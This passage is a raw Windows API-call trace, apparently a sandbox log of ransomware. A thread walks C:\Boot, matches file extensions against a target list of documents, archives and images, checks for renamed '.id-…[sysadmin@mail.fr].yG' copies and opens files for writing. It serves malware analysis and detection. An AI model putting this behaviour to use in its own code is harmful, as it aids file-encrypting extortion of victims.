	[0178.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0430 | out: hHeap=0x4f0000) returned 1
	[0178.072] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b06b0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 50
	os_tid = 0xe40

	[0134.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38f6e90
	[0134.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3906e98
	[0134.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596c98
	[0134.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54ce10
	[0134.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d10
	[0134.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x42e2020
	[0134.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596dd0
	[0134.124] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596dd0, Size=0x20) returned 0x52d9a0
	[0134.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d28
	[0134.125] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596d28, Size=0x20) returned 0x52dce8
	[0134.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0134.125] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0134.125] Wow64DisableWow64FsRedirection (in: OldValue=0x3dfff50 | out: OldValue=0x3dfff50*=0x0) returned 1
	[0134.125] lstrlenW (lpString="kernel32.dll") returned 12
	[0134.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a0 | out: hHeap=0x4f0000) returned 1
	[0134.125] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0134.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dce8 | out: hHeap=0x4f0000) returned 1
	[0134.126] Sleep (dwMilliseconds=0x64) 
	[0134.453] Sleep (dwMilliseconds=0x64) 
	[0134.677] lstrlenW (lpString="BCD") returned 3
	[0134.677] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.677] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.677] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.677] lstrlenW (lpString=".doc") returned 4
	[0134.677] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0134.677] lstrlenW (lpString=".docx") returned 5
	[0134.677] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0134.677] lstrlenW (lpString=".pdf") returned 4
	[0134.677] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0134.677] lstrlenW (lpString=".xls") returned 4
	[0134.677] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0134.677] lstrlenW (lpString=".xlsx") returned 5
	[0134.677] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0134.678] lstrlenW (lpString=".ppt") returned 4
	[0134.678] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString=".zip") returned 4
	[0134.678] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString=".rar") returned 4
	[0134.678] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString=".bz2") returned 4
	[0134.678] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString=".7z") returned 3
	[0134.678] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString=".dbf") returned 4
	[0134.678] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString=".1cd") returned 4
	[0134.678] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString=".jpg") returned 4
	[0134.678] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.678] lstrlenW (lpString=".doc") returned 4
	[0134.678] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0134.678] lstrlenW (lpString=".docx") returned 5
	[0134.678] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".pdf") returned 4
	[0134.679] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".xls") returned 4
	[0134.679] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".xlsx") returned 5
	[0134.679] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".ppt") returned 4
	[0134.679] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.679] lstrlenW (lpString=".zip") returned 4
	[0134.679] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".rar") returned 4
	[0134.679] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".bz2") returned 4
	[0134.679] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString=".7z") returned 3
	[0134.679] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0134.679] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.679] lstrlenW (lpString=".dbf") returned 4
	[0134.679] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.679] lstrlenW (lpString=".1cd") returned 4
	[0134.679] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0134.679] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0134.679] lstrlenW (lpString=".jpg") returned 4
	[0134.682] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0134.683] lstrcmpiW (lpString1=".LOG1", lpString2=".yG") returned -1
	[0134.683] lstrlenW (lpString="BCD.LOG1") returned 8
	[0134.683] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.683] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=0) returned 1
	[0134.683] CloseHandle (hObject=0x314) returned 1
	[0134.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.683] lstrlenW (lpString=".doc") returned 4
	[0134.683] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0134.683] lstrlenW (lpString=".docx") returned 5
	[0134.683] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0134.684] lstrlenW (lpString=".pdf") returned 4
	[0134.684] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString=".xls") returned 4
	[0134.684] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString=".xlsx") returned 5
	[0134.684] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0134.684] lstrlenW (lpString=".ppt") returned 4
	[0134.684] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.684] lstrlenW (lpString=".zip") returned 4
	[0134.684] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString=".rar") returned 4
	[0134.684] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString=".bz2") returned 4
	[0134.684] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString=".7z") returned 3
	[0134.684] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0134.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.684] lstrlenW (lpString=".dbf") returned 4
	[0134.684] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.684] lstrlenW (lpString=".1cd") returned 4
	[0134.684] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0134.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.684] lstrlenW (lpString=".jpg") returned 4
	[0134.684] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.685] lstrlenW (lpString=".doc") returned 4
	[0134.685] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".docx") returned 5
	[0134.685] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0134.685] lstrlenW (lpString=".pdf") returned 4
	[0134.685] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".xls") returned 4
	[0134.685] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".xlsx") returned 5
	[0134.685] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0134.685] lstrlenW (lpString=".ppt") returned 4
	[0134.685] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.685] lstrlenW (lpString=".zip") returned 4
	[0134.685] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".rar") returned 4
	[0134.685] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".bz2") returned 4
	[0134.685] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString=".7z") returned 3
	[0134.685] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.685] lstrlenW (lpString=".dbf") returned 4
	[0134.685] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.685] lstrlenW (lpString=".1cd") returned 4
	[0134.685] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0134.685] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0134.686] lstrlenW (lpString=".jpg") returned 4
	[0134.686] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0134.686] lstrcmpiW (lpString1=".LOG2", lpString2=".yG") returned -1
	[0134.686] lstrlenW (lpString="BCD.LOG2") returned 8
	[0134.686] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.686] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=0) returned 1
	[0134.686] CloseHandle (hObject=0x314) returned 1
	[0134.686] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.686] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.687] lstrlenW (lpString=".doc") returned 4
	[0134.687] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".docx") returned 5
	[0134.687] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0134.687] lstrlenW (lpString=".pdf") returned 4
	[0134.687] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".xls") returned 4
	[0134.687] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".xlsx") returned 5
	[0134.687] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0134.687] lstrlenW (lpString=".ppt") returned 4
	[0134.687] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.687] lstrlenW (lpString=".zip") returned 4
	[0134.687] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".rar") returned 4
	[0134.687] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".bz2") returned 4
	[0134.687] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString=".7z") returned 3
	[0134.687] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0134.687] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.687] lstrlenW (lpString=".dbf") returned 4
	[0134.687] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0134.687] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.687] lstrlenW (lpString=".1cd") returned 4
	[0134.688] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.688] lstrlenW (lpString=".jpg") returned 4
	[0134.688] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.688] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.688] lstrlenW (lpString=".doc") returned 4
	[0134.688] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".docx") returned 5
	[0134.688] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0134.688] lstrlenW (lpString=".pdf") returned 4
	[0134.688] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".xls") returned 4
	[0134.688] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".xlsx") returned 5
	[0134.688] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0134.688] lstrlenW (lpString=".ppt") returned 4
	[0134.688] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.688] lstrlenW (lpString=".zip") returned 4
	[0134.688] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".rar") returned 4
	[0134.688] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".bz2") returned 4
	[0134.688] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0134.688] lstrlenW (lpString=".7z") returned 3
	[0134.688] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0134.689] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.689] lstrlenW (lpString=".dbf") returned 4
	[0134.689] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0134.689] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.689] lstrlenW (lpString=".1cd") returned 4
	[0134.689] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0134.689] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0134.689] lstrlenW (lpString=".jpg") returned 4
	[0134.689] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0134.689] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0134.689] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0134.689] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.690] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=77664) returned 1
	[0134.690] CloseHandle (hObject=0x314) returned 1
	[0134.690] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0134.690] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.690] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.690] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.690] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.690] lstrlenW (lpString=".doc") returned 4
	[0134.690] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0134.690] lstrlenW (lpString=".docx") returned 5
	[0134.690] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0134.690] lstrlenW (lpString=".pdf") returned 4
	[0134.690] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0134.690] lstrlenW (lpString=".xls") returned 4
	[0134.690] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0134.690] lstrlenW (lpString=".xlsx") returned 5
	[0134.690] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0134.690] lstrlenW (lpString=".ppt") returned 4
	[0134.691] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString=".zip") returned 4
	[0134.691] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0134.691] lstrlenW (lpString=".rar") returned 4
	[0134.691] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0134.691] lstrlenW (lpString=".bz2") returned 4
	[0134.691] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0134.691] lstrlenW (lpString=".7z") returned 3
	[0134.691] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString=".dbf") returned 4
	[0134.691] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString=".1cd") returned 4
	[0134.691] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString=".jpg") returned 4
	[0134.691] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.691] lstrlenW (lpString=".doc") returned 4
	[0134.691] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0134.691] lstrlenW (lpString=".docx") returned 5
	[0134.691] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0134.691] lstrlenW (lpString=".pdf") returned 4
	[0134.692] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0134.692] lstrlenW (lpString=".xls") returned 4
	[0134.692] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0134.692] lstrlenW (lpString=".xlsx") returned 5
	[0134.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0134.692] lstrlenW (lpString=".ppt") returned 4
	[0134.692] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0134.692] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.692] lstrlenW (lpString=".zip") returned 4
	[0134.692] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0134.692] lstrlenW (lpString=".rar") returned 4
	[0134.692] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0134.692] lstrlenW (lpString=".bz2") returned 4
	[0134.692] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0134.692] lstrlenW (lpString=".7z") returned 3
	[0134.692] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0134.692] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.692] lstrlenW (lpString=".dbf") returned 4
	[0134.692] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0134.692] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.692] lstrlenW (lpString=".1cd") returned 4
	[0134.692] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0134.692] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0134.692] lstrlenW (lpString=".jpg") returned 4
	[0134.692] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0134.692] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0134.693] lstrlenW (lpString="bootspaces.dll") returned 14
	[0134.693] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.694] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=95648) returned 1
	[0134.694] CloseHandle (hObject=0x314) returned 1
	[0134.694] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0134.694] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.694] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.694] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.694] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.694] lstrlenW (lpString=".doc") returned 4
	[0134.694] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0134.694] lstrlenW (lpString=".docx") returned 5
	[0134.695] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0134.695] lstrlenW (lpString=".pdf") returned 4
	[0134.695] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0134.695] lstrlenW (lpString=".xls") returned 4
	[0134.695] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0134.695] lstrlenW (lpString=".xlsx") returned 5
	[0134.695] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0134.695] lstrlenW (lpString=".ppt") returned 4
	[0134.695] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0134.695] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.695] lstrlenW (lpString=".zip") returned 4
	[0134.695] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0134.695] lstrlenW (lpString=".rar") returned 4
	[0134.695] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0134.695] lstrlenW (lpString=".bz2") returned 4
	[0134.695] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0134.695] lstrlenW (lpString=".7z") returned 3
	[0134.695] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0134.695] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.695] lstrlenW (lpString=".dbf") returned 4
	[0134.695] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0134.695] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.695] lstrlenW (lpString=".1cd") returned 4
	[0134.695] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0134.695] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.696] lstrlenW (lpString=".jpg") returned 4
	[0134.696] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.696] lstrlenW (lpString=".doc") returned 4
	[0134.696] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString=".docx") returned 5
	[0134.696] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0134.696] lstrlenW (lpString=".pdf") returned 4
	[0134.696] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString=".xls") returned 4
	[0134.696] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString=".xlsx") returned 5
	[0134.696] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0134.696] lstrlenW (lpString=".ppt") returned 4
	[0134.696] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.696] lstrlenW (lpString=".zip") returned 4
	[0134.696] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString=".rar") returned 4
	[0134.696] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0134.696] lstrlenW (lpString=".bz2") returned 4
	[0134.696] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0134.696] lstrlenW (lpString=".7z") returned 3
	[0134.696] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0134.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.696] lstrlenW (lpString=".dbf") returned 4
	[0134.697] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0134.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.697] lstrlenW (lpString=".1cd") returned 4
	[0134.697] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0134.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0134.697] lstrlenW (lpString=".jpg") returned 4
	[0134.697] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0134.697] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0134.697] lstrlenW (lpString="bootvhd.dll") returned 11
